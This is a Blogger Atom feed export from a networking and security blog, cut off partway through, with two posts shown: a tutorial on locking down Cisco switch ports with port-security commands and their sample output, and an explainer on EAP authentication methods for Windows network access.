<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4848371105036750167</id><updated>2012-01-25T22:30:40.542-08:00</updated><category term='Hacking Tools'/><category term='Cryptography'/><category term='Wireless (802.11)'/><category term='Operating System Detection'/><category term='SQL Injection'/><category term='Sniffers'/><category term='Computer Forensics'/><category term='System Enumeration'/><category term='Session Attacks'/><category term='DOS Attack'/><category term='Port Scanning'/><category term='Windows Hacking'/><category term='Security'/><category term='TCP/IP'/><title type='text'>HACK BLOG</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>82</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7097115062456543933</id><published>2011-06-20T08:33:00.000-07:00</published><updated>2011-06-21T05:28:20.947-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>SWITCHPORT PORT-SECURITY : Lock Down Security on Cisco Switches</title><content type='html'>&lt;div align="justify"&gt;Hello everyone, its been ages since I have posted on this blog. Sorry!!  Mainly because, my focus shifted from Security to Networking, because I realized I gotta master Networking first to be a Security Professional. So, I have cleared &lt;a target="_blank" href="http://www.cisco.com/web/learning/le3/le2/le0/le9/learning_certification_type_home.html"&gt;CCNA&lt;/a&gt;, &lt;a target="_blank" href="http://www.cisco.com/web/learning/le3/le2/le0/le1/learning_certification_type_home.html"&gt;CCNA Security&lt;/a&gt;, CCNP ROUTE in the meanwhile and I am currently studying for CCNP SWITCH right now.&lt;br /&gt;I wish to share an awesome feature of Cisco Switches - SwitchPort Security.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;NEED ::&lt;/h2&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;Wireless Networking has changed the face of the Switch Security. Until now, we believed that the only way to break into the network was through the Internet. Because the Wireless Access Points  defaults to no security and allow anyone to connect to the Enterprise Network, SwitchPort Security was essential to limit who can and who cannot connect to the Switch Ports and access the Network.&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;A growing challenge facing network administrators is determining how to control who can access the organization’s internal network — and who can’t. For example, can anyone walk into your office, plug in a laptop, and access your network? Moreover, in today's network, needless to say, you donot trust each of your employees. And if none of the above two scenarios is correct, it may be an infected PC that is generating a broadcast storm or generating frames from thousand different MAC addresses to populate Switch's CAM (Content Addressable Memory) table and turn the Switch into a miserable Hub.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Understand the basics&lt;/h2&gt;&lt;div style="text-align: justify;"&gt;In its most basic form, the Port Security feature remembers the Ethernet MAC address connected to the switch port and allows only that MAC address to communicate on that port. If any other MAC address tries to communicate through the port, port security will take an action configured by you, which is either ignoring the packet from unknown MAC address or disabling the port. Most of the time, network administrators configure the switch to send a SNMP trap to their network monitoring solution that the port’s disabled for security reasons.&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Of course, implementing any security solution always involves a trade-off — most often, you trade increased security for less convenience. When using port security, you can prevent devices from accessing the network, which increases security.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;h2&gt;Configure port security&lt;/h2&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Configuring the Port Security feature is relatively easy. In its simplest form, port security requires going to an already enabled switch port and entering the &lt;em&gt;port-security &lt;/em&gt;Interface Mode command&lt;strong&gt;. &lt;/strong&gt;Here’s an example:&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;Switch)# config t&lt;br /&gt;Switch(config)# int fa0/18&lt;br /&gt;Switch(config-if)# switchport port-security ?&lt;br /&gt;aging           Port-security aging commands&lt;br /&gt;mac-address     Secure mac address&lt;br /&gt;maximum         Max secure addresses&lt;br /&gt;violation       Security violation mode&lt;br /&gt;&lt;br /&gt;Switch(config-if)# switchport port-security&lt;br /&gt;Switch(config-if)#^Z&lt;/pre&gt;&lt;br /&gt;&lt;p style="text-align: justify;"&gt;By entering the most basic command to configure port security, we accepted the default settings of only allowing one MAC address, determining that MAC address from the first device that communicates on this switch port, and shutting down that switch port if another MAC address attempts to communicate via the port. But you don’t have to accept the defaults.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;h2&gt;Know your options&lt;/h2&gt;As you can see in the example, there are a number of other port security commands that you can configure. Here are some of your options:&lt;br /&gt;&lt;ul type="disc"&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;em&gt;switchport port-security maximum {max # of MAC addresses allowed}&lt;/em&gt;:&lt;/strong&gt; You can use this option to allow more than the default number of MAC addresses, which is one. For example, if you had a 12-port hub connected to this switch port, you would want to allow 12 MAC addresses — one for each device. The maximum number of secure MAC addresses per port is 132.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;em&gt;switchport port-security violation {shutdown | restrict | protect}&lt;/em&gt;:&lt;/strong&gt; This command tells the switch what to do when the number of MAC addresses on the port has exceeded the maximum. The default is to shut down the port. However, you can also choose to alert the network administrator (i.e., &lt;em&gt;restrict&lt;/em&gt;) or only allow traffic from the secure port and drop packets from other unknown MAC addresses (i.e., &lt;em&gt;protect&lt;/em&gt;).&lt;/li&gt;&lt;br /&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;em&gt;switchport port-security mac-address {MAC address}&lt;/em&gt;:&lt;/strong&gt; You can use this option to manually define the MAC address allowed for this port rather than letting the port dynamically determine the MAC address.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Of course, you can also configure port security on a range of ports. Here’s an example:&lt;br /&gt;&lt;pre&gt;Switch)# config t&lt;br /&gt;Switch(config)# int range fastEthernet 0/1 - 24&lt;br /&gt;Switch(config-if)# switchport port-security&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;However, you need to be very careful with this option if you enter this command on an uplink port that goes to more than one device. As soon as the second device sends a packet, the entire port will shut down.&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;h2&gt;View the status of port security&lt;/h2&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once you’ve configured port security and the Ethernet device on that port has sent traffic, the switch will record the MAC address and secure the port using that address. To find out the status of port security on the switch, you can use the &lt;em&gt;show port-security address&lt;/em&gt; and &lt;em&gt;show port-security interface&lt;/em&gt; commands. Below are examples for each command’s output:&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;Switch# show port-security address&lt;br /&gt;      Secure Mac Address Table&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;Vlan    Mac Address       Type                Ports   Remaining Age&lt;br /&gt;                                                     (mins)&lt;br /&gt;----    -----------       ----                -----   -------------&lt;br /&gt;1    0004.00d5.285d    SecureDynamic       Fa0/18       -&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;Total Addresses in System (excluding one mac per port)     : 0&lt;br /&gt;Max Addresses limit in System (excluding one mac per port) : 1024&lt;br /&gt;&lt;br /&gt;Switch# show port-security interface fa0/18&lt;br /&gt;Port Security                        : Enabled&lt;br /&gt;Port Status                          : Secure-up&lt;br /&gt;Violation Mode                       : Shutdown&lt;br /&gt;Aging Time                           : 0 mins&lt;br /&gt;Aging Type                           : Absolute&lt;br /&gt;SecureStatic Address Aging           : Disabled&lt;br /&gt;Maximum MAC Addresses                : 1&lt;br /&gt;Total MAC Addresses                  : 1&lt;br /&gt;Configured MAC Addresses             : 0&lt;br /&gt;Sticky MAC Addresses                 : 0&lt;br /&gt;Last Source Address                  : 0004.00d5.285d&lt;br /&gt;Security Violation Count             : 0&lt;br /&gt;&lt;br /&gt;Switch#&lt;/pre&gt;&lt;br /&gt;&lt;p style="text-align: justify;"&gt;For more information on switch port commands and configuring the Port Security feature, check out Cisco’s &lt;a target="_blank" href="http://www.cisco.com/en/US/docs/switches/lan/catalyst2950/software/release/12.1_6_ea2c/configuration/guide/swgports.html"&gt;Enabling Port Security documentation&lt;/a&gt; for the Catalyst 2950. What steps have you taken to lock down switch port security? Share your tips in this article’s discussion.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7097115062456543933?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7097115062456543933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2011/06/lock-down-security-on-cisco-switches.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7097115062456543933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7097115062456543933'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2011/06/lock-down-security-on-cisco-switches.html' title='SWITCHPORT PORT-SECURITY : Lock Down Security on Cisco Switches'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-8443871723161913910</id><published>2010-07-06T14:53:00.000-07:00</published><updated>2010-07-06T15:48:14.415-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wireless (802.11)'/><title type='text'>Extensible Authentication Protocol (EAP)</title><content type='html'>&lt;span class="Apple-style-span"  style=";font-family:'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;&lt;span class=""&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;What is Extensible Authentication Protocol (EAP)?&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The Extensible Authentication Protocol (EAP) is a general protocol for PPP and wireless authentication which supports multiple authentication mechanisms. Microsoft Windows uses EAP to authenticate Point-to-Point Protocol (PPP)-based connections (such as dial-up, virtual private network remote access, and site-to-site connections) and for IEEE 802.1X-based network access to authenticating Ethernet switches and wireless access points (APs).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;EAP begins as the authenticator sends one or more Requests to authenticate the peer. The three devices involved in the 802.1x authentication are the client, an authentication server and Wireless Access Point (WAP). The user or client that wants to be authenticated is called a supplicant. The actual server doing the authentication, typically a RADIUS server, is called the authentication server. And the device in between, such as a wireless access point, is called the authenticator. The Request has a type field to indicate what is being requested. Examples of Request types include Identity, MD5-challenge, One-Time Passwords, Generic Token Card, etc. The peer sends a Response packet in reply to each Reques and the authenticator ends the authentication phase with a Success or Failure packet. This may look very simple but complexity resides in authenticating using the various methods such as EAP-PSK (Pre Shared Keys), EAP-MD5 (MD5 hashing), EAP-TLS(Transport Layer Security).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kgG57QalCyI/TDOp4s5gtrI/AAAAAAAAAMY/yPjxNIXKsrQ/s1600/Cc917480.eap_overview_fig1(en-us,TechNet.10).gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_kgG57QalCyI/TDOp4s5gtrI/AAAAAAAAAMY/yPjxNIXKsrQ/s320/Cc917480.eap_overview_fig1(en-us,TechNet.10).gif" border="0" alt="EAP Authentication" id="BLOGGER_PHOTO_ID_5490919162284914354" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;EAP Methods for Different Types of Network Access&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The following table lists the different types of access and the available EAP methods you can use in Microsoft Windows. Microsoft Windows has its own proprietary MS-CHAPv2 authentication also method which provides secure authentication between devices.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;table style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-collapse: separate; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; "&gt;&lt;tbody style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;th style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Type of Network Access&lt;/span&gt;&lt;/p&gt;&lt;/th&gt;&lt;th style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Available EAP Methods&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Dial-up remote access or site-to-site connections&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;EAP-MD5 CHAP, EAP-TLS&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Virtual private network remote access connections&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;EAP-MD5 CHAP, EAP-TLS, PEAP-MS-CHAP v2, PEAP-TLS&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Virtual private network site-to-site connections&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;EAP-MD5 CHAP, EAP-TLS&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;802.1X authentication to an authenticating switch (wired)&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;EAP-MD5 CHAP, PEAP-MS-CHAP v2, EAP-TLS, PEAP-TLS&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;802.1X authentication to a wireless AP&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;p style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-style: inherit; font-family: inherit; margin-top: 0px; margin-right: 0px; margin-bottom: 12px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;PEAP-MS-CHAP v2, EAP-TLS, PEAP-TLS&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-8443871723161913910?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/8443871723161913910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2010/07/extensible-authentication-protocol-eap.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8443871723161913910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8443871723161913910'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2010/07/extensible-authentication-protocol-eap.html' title='Extensible Authentication Protocol (EAP)'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' 